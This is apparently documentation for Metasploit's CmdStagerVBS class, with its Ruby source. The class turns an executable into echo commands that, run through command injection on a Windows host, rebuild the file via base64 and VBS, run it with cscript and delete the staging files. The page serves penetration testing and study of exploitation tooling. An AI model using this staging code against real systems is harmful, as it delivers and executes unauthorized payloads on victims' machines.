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Rex::Exploitation::CmdStagerVBS

This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.

This particular version uses Windows Scripting (VBS) to base64 decode a file, created via echo >>, and decode it to the final binary.

Requires: Windows Scripting Known Issue: errors with non-ascii-native systems

Written by bannedit

Public Class Methods

new(exe) click to toggle source
# File lib/rex/exploitation/cmdstager/vbs.rb, line 30
def initialize(exe)
        super

        @var_decoder = Rex::Text.rand_text_alpha(5)
        @var_encoded = Rex::Text.rand_text_alpha(5)
        @var_decoded = Rex::Text.rand_text_alpha(5)
        @decoder     = nil # filled in later
end

Public Instance Methods

cmd_concat_operator() click to toggle source

Windows uses & to concat strings

# File lib/rex/exploitation/cmdstager/vbs.rb, line 122
def cmd_concat_operator
        " & "
end
compress_commands(cmds, opts) click to toggle source

We override compress commands just to stick in a few extra commands last second..

# File lib/rex/exploitation/cmdstager/vbs.rb, line 107
def compress_commands(cmds, opts)
        # Make it all happen
        cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"

        # Clean up after unless requested not to..
        if (not opts[:nodelete])
                cmds << "del #{@tempdir}#{@var_decoder}.vbs"
                cmds << "del #{@tempdir}#{@var_encoded}.b64"
                # NOTE: We won't be able to delete the exe while it's in use.
        end

        super
end
encode_payload(opts) click to toggle source

Simple base64...

# File lib/rex/exploitation/cmdstager/vbs.rb, line 56
def encode_payload(opts)
        Rex::Text.encode_base64(@exe)
end
generate_cmds(opts) click to toggle source

Override just to set the extra byte count

# File lib/rex/exploitation/cmdstager/vbs.rb, line 43
def generate_cmds(opts)
        # Set the start/end of the commands here (vs initialize) so we have @tempdir
        @cmd_start = "echo "
        @cmd_end   = ">>#{@tempdir}#{@var_encoded}.b64"
        xtra_len = @cmd_start.length + @cmd_end.length + 1
        opts.merge!({ :extra => xtra_len })
        super
end
generate_cmds_decoder(opts) click to toggle source

Generate the commands that will decode the file we just created

# File lib/rex/exploitation/cmdstager/vbs.rb, line 83
def generate_cmds_decoder(opts)

        # Allow decoder stub override (needs to input base64 and output bin)
        @decoder = opts[:decoder] if (opts[:decoder])

        # Read the decoder data file
        f = File.new(@decoder, "rb")
        decoder = f.read(f.stat.size)
        f.close

        # Replace variables
        decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
        decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
        decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")

        # Split it apart by the lines
        decoder.split("\n")
end
parts_to_commands(parts, opts) click to toggle source

Combine the parts of the encoded file with the stuff that goes before / after it.

# File lib/rex/exploitation/cmdstager/vbs.rb, line 65
def parts_to_commands(parts, opts)

        cmds = []
        parts.each do |p|
                cmd = ''
                cmd << @cmd_start
                cmd << p
                cmd << @cmd_end
                cmds << cmd
        end

        cmds
end

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